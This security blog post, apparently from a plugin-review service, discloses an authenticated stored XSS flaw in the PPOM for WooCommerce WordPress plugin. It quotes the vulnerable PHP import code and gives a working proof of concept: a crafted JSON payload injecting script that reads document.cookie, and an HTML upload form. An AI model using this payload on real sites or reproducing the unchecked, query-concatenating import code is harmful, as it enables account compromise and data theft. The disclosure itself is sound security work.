08 Aug

This Authenticated Persistent XSS Vulnerability Might Be What Hackers Are Targeting PPOM for WooCommerce For

One of the things we seem to be unique in doing is monitoring for hackers probing for usage of WordPress plugins before exploiting vulnerabilities in them. That is despite other security companies claiming to be doing the same and them needing to do that to be able to prevent exploitation. Today through that we saw probing for the plugin PPOM for WooCommerce with requests for these files from it:

  • /wp-content/plugins/woocommerce-product-addon/readme.txt
  • /wp-content/plugins/woocommerce-product-addon/js/script.js
  • /wp-content/plugins/woocommerce-product-addon/css/ppom-style.css

As is often the case with plugins that hackers are probing for, the plugin has been quite insecure. When we started looking over the plugin to see if there was a vulnerability that we should be warning customers of our service using the plugin of, we found that a fairly serious vulnerabilities had been partially fixed several weeks ago. But when we started looking to see if the same type of fix had been implemented elsewhere we found one part of the code is still completely vulnerable. It leads to an authenticated persistent cross-site scripting (XSS) vulnerability, which would allow an attacker with a low level WordPress account the ability to malicious JavaScript to be displayed on at least admin pages of the website. That is a type of vulnerability that has been popular with hackers recently. Since the plugin extends WooCommerce and WooCommerce by default allows the public access to WordPress accounts, which increases the ability to exploit this.

You might think that considering that additional security risk and the additional security concern when it comes to eCommerce websites over someone’s personal blog, WooCommerce extending plugins would be commonly reviewed for security issues. But clearly many are not getting reviewed for security, even as we found a couple of months ago, a plugin from Facebook that is installed by default by WooCommerce. In this case the plugin doesn’t seem to have gotten that despite have 10,000+ installs.

With the security reviews we do, already one of the checks we have long done is specifically focused on the functionality that was vulnerable here and we recently started testing out an addition which would have specifically focused on this code as well (which seems to cement that we should including as part of the standard review).

Details

The plugin registers the function ppom_import_meta() to be accessible as an admin_post action:

242
add_action( 'admin_post_ppom_import_meta', array($this, 'ppom_import_meta') );

That makes it accessible to anyone logged in to WordPress.

That function, which can be found in the file /templates/admin/existing-meta.php, will import new metas, the plugin’s data structure, based on user input in the form of the FILE input “ppom_csv” without doing any security checks first:

742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
function ppom_import_meta(){
 
	global $wpdb;
	//get the csv file
	// ppom_pa($_FILES);
	$file = $_FILES['ppom_csv']['tmp_name'];
	$handle = fopen($file,"r");
 
	$ppom_meta = '';
	if ($handle) {
		while (!feof($handle)) {
		  $ppom_meta .= fgetss($handle, 50000);
		}
 
		fclose($handle);
	}
 
	$ppom_meta = json_decode($ppom_meta);
	$ppom_meta = self::ppom_decode_entities($ppom_meta);
	// ppom_pa( $ppom_meta ); exit;
 
	$meta_count = 0;
	foreach($ppom_meta as $meta) {
 
		$table = $wpdb->prefix . PPOM_TABLE_META;
		$qry = "INSERT INTO {$table} SET ";
		$meta_count++;
 
			foreach($meta as $key => $val) {
 
				if( $key == 'productmeta_id' ) continue;
 
				if( $key == 'productmeta_name' ) {
					$val = 'Copy of '.$val;
				}
 
				$qry .= "{$key}='{$val}',";
			}
 
			$qry = substr($qry, 0, -1);
			// print $qry; exit;
			$res = $wpdb->query( $qry );

There should be a capabilities check to limit what users have access to that functionality and a nonce check to prevent cross-site request forgery (CSRF), which allows an attacker to cause someone else to take an action they didn’t intend to.

As the proof of concept below confirms that can permit malicious JavaScript code to be shown on the plugin’s admin page.

It also seems possible that code could lead to SQL injection as well, though we didn’t test that out.

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause any available cookies to be shown on the page /wp-admin/admin.php?page=ppom, when logged in to WordPress.

Save the following contents to a file.

[{"productmeta_validation":"","send_file_attachment":"","show_cart_thumb":"","aviary_api_key":"","productmeta_categories":"","productmeta_created":"2019-08-08 17:53:57","productmeta_id":"6","productmeta_style":"\\\\">","dynamic_price_display":"no","productmeta_name":"proof of concept","the_meta":"{"1":{"type":"text","title":"\\\\\\\\\\\\"><script>alert(document.cookie);<\\\\\/script>","data_name":"___script_alert_document_cookie____script_","description":"","placeholder":"","error_message":"","maxlength":"","minlength":"","default_value":"","price":"","class":"","input_mask":"","width":"12","visibility":"everyone","visibility_role":"","conditions":{"visibility":"Show","bound":"All","rules":[{"operators":"is"}]},"ppom_id":"6"}}"}]

Then upload the file using this, make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php?action=ppom_import_meta" method="POST" enctype="multipart/form-data">
<input type="file" name="ppom_csv" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.